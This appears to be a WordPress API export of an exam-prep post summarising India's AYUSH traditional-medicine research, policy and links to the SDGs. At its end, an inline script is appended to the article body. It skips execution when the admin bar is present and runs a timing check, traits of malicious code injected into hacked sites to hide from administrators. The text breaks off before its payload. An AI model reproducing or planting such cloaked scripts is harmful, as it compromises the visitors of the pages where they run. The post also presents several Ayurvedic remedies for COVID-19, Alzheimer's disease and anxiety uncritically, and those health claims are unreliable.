{"id":143,"date":"2023-10-28T10:16:08","date_gmt":"2023-10-28T10:16:08","guid":{"rendered":"https:\/\/iasquest.com\/?p=143"},"modified":"2026-02-11T19:33:37","modified_gmt":"2026-02-11T19:33:37","slug":"ayush-ayurveda-yoga-naturopathy-unani-siddha-sowa-rigpa-and-homoeopathy","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/ayush-ayurveda-yoga-naturopathy-unani-siddha-sowa-rigpa-and-homoeopathy\/","title":{"rendered":"AYUSH- Ayurveda, Yoga, Naturopathy, Unani, Siddha, Sowa-Rigpa, and Homoeopathy."},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-black-color\"><kbd>AYUSH<\/kbd><\/mark><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><u>Aim:<\/u><\/strong>\u00a0 To bridge the gap between <strong>traditional knowledge<\/strong> and <strong>contemporary scientific evidence<\/strong>, ensuring the integration of Ayush into evidence-based healthcare practices.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><u>Facts for Introduction:<\/u><\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>80% of the World\u2019s population<\/strong> rely on traditional medicine for their wellbeing.<\/li>\n\n\n\n<li><strong>170 WHO member countries<\/strong> report the use of traditional medicine.<\/li>\n\n\n\n<li>The market size of the Indian Ayush industry has seen a growth of <strong>6 times in 7 years from 2014-2020<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><u>Ayush research activities on &#8211;<\/u><\/strong><\/p>\n\n\n\n<div class=\"wp-block-group is-layout-constrained wp-block-group-is-layout-constrained\">\n<ul class=\"wp-block-list\">\n<li>Medicinal plant research (Medico-ethno botanical survey, pharmacognosy and tissue culture),<\/li>\n\n\n\n<li><span style=\"font-size: revert;\">Drug Standardisation Pharmacological Research,<\/span><\/li>\n\n\n\n<li>Clinical Research,<\/li>\n\n\n\n<li>Literary Research &amp; outreach activities<\/li>\n<\/ul>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><u>Pragmatic model of Research in Ayush:<\/u><\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Exploring Traditional Knowledge<\/strong>:\n<ol class=\"wp-block-list\">\n<li>To protect Indian traditional medicinal knowledge and prevent its misappropriation at International Patent Offices. <\/li>\n\n\n\n<li><strong>Example : Traditional Knowledge Digital Library (TKDL)<\/strong>.<\/li>\n<\/ol>\n<\/li>\n\n\n\n<li><strong>Integrating Modern Scientific Methods:<\/strong>\n<ol class=\"wp-block-list\">\n<li>To Foster interdisciplinary research and collaborative partnerships. \n<ul class=\"wp-block-list\">\n<li><strong>Example:<\/strong> <strong>17 Indian standards<\/strong> have been formulated with <strong>BIS certification<\/strong> to develop standards for Medical Value Travel.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>To leverage diverse perspectives and expertise to find innovative solutions. \n<ul class=\"wp-block-list\">\n<li><strong>Example:<\/strong> A \u2018<strong>National Clinical Management Protocol based on Ayurveda and Yoga for management of COVID-19,\u2019<\/strong> was released. <strong>Ayush-64\/Kabasura Kudineer<\/strong> as potential adjuncts to standard care in Covid-19 management.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Addressing Unmet Healthcare Needs: &#8211;<\/strong>To provide innovative solutions and complementary therapies.It includes managing chronic conditions, addressing lifestyle-related diseases, mental health and promoting preventive healthcare.\n<ul class=\"wp-block-list\">\n<li><strong>Example<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>Brahmi Ghrita and Jyotishmati Taila<\/strong> in the management of <strong>Cognitive Deficit<\/strong>.<\/li>\n\n\n\n<li><strong>AyushSR Tablet<\/strong> in Occupational Stress among IT professionals.<\/li>\n\n\n\n<li>Neuroprotective role of <strong>Sarasvata Ghrita in Alzheimer\u2019s disease<\/strong>.<\/li>\n\n\n\n<li>Comprehensive Ayurvedic intervention in the management of <strong>Manodwega (Generalised Anxiety Disorder)<\/strong>.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Promoting Lifestyle Modifications:<\/strong><ul><li>To promote healthy lifestyles, incorporating practices such as yoga, meditation, dietary guidelines, and natural remedies.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Capacity building by organising training programmes, workshops, and conferences for researchers, clinicians, and stakeholders in the Ayush sector.\n<ul class=\"wp-block-list\">\n<li><strong>Example:<\/strong> <strong>Prenatal yoga<\/strong> is helping pregnant women to stay calm to changes that take place in the body during pregnancy.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Predictive, Preventive, and Personalised Medicine:<\/strong>\n<ul class=\"wp-block-list\">\n<li>To personalise healthcare and understand the genetic basis of individual variations in response to treatments.\n<ul class=\"wp-block-list\">\n<li><strong>Example:<\/strong> \n<ul class=\"wp-block-list\">\n<li><strong>Ayurgenomics (Ayurveda genomics) &#8211; <\/strong>an emerging field that combines the principles of Ayurveda and genomics.<\/li>\n\n\n\n<li><strong>CSIR-IGIB CoE, the TRISUTRA (Translational Research and Innovative Science through Ayurgenomics).<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><u>Value Additions :<\/u><\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Ayush system of healthcare forms an important part of the pluralistic foundation of healthcare in India on the principle of<strong> Swasthyasya Swasthya Rakshanam (\u201cpreserving the health of healthy persons&#8221;).<\/strong><\/li>\n\n\n\n<li><strong>WHO\u2019s <\/strong>strategic objectives for achieving the<strong> \u201c4As\u201d <\/strong>to Universal health Coverage-<strong> Accessibility, Affordability, Availability, and Acceptability.<\/strong><\/li>\n\n\n\n<li>Ayush plays an important role in achieving Sustainable Development Goals (SDGs)<strong> &#8211;<\/strong><ul><li><strong>Zero Hunger (SDG 2) <\/strong>through<strong> POSHAN (Prime Minister\u2019s Overarching Scheme for Holistic Nutrition).<\/strong><\/li><\/ul><ul><li><strong>Good Health and Well-Being (SDG 3) &#8211; <\/strong>through<strong> integrated health programmes and AHWCs<\/strong><\/li><\/ul><ul><li><strong>Reduced Inequalities (SDG 10) <\/strong>through<strong> National AYUSH Mission (NAM), <\/strong>simultaneously targeting health inequity and out-of-pocket expenditure.<\/li><\/ul><ul><li><strong>SDG 11-Sustainable cities and communities &#8211; <\/strong>with the utilisation of herbal medicines and resources of nature.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Partnership for the Goals (SDG 17)<\/strong> is achieved through Ayush in India, by promoting partnerships between different healthcare systems and exchange of knowledge and expertise.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><u>Conclusion:<\/u><\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u2018One World One Health\u2019 <\/strong>emphasises the need for <strong>collaboration and coordination<\/strong> among various sectors and stakeholders to address global health challenges by recognising the interconnectedness of <strong>human, animal, and environmental health<\/strong>.<\/li>\n\n\n\n<li>The focal theme of initiatives like<strong> G20 presidency, WHO-GCTM, etc.,<\/strong> is <strong>Vasudhaiva Kutumbakam <\/strong>meaning<strong> \u2018The World is One Family\u2019, <\/strong>a philosophy that emphasises the<strong> interdependence of all beings <\/strong>and the importance of cooperating to build a healthier and more equitable world.<\/li>\n\n\n\n<li>Ayush has always played an important part in the Indian and global healthcare system and for providing<strong> quality healthcare services to all, <\/strong>which is<strong> affordable and accessible.<\/strong><\/li>\n\n\n\n<li>Ayush as a science of life promotes and protects the health of populations by adopting a<strong> holistic approach, personalised medicine, preventive measures, integration with modern medicine, scientific research based practices, and preservation of traditional knowledge.<\/strong><\/li>\n\n\n\n<li>By embracing these principles, Ayush contributes to a comprehensive and patient centred approach to healthcare aiming to achieve the goal of <strong>\u2018Health for All\u2019.<\/strong><\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new 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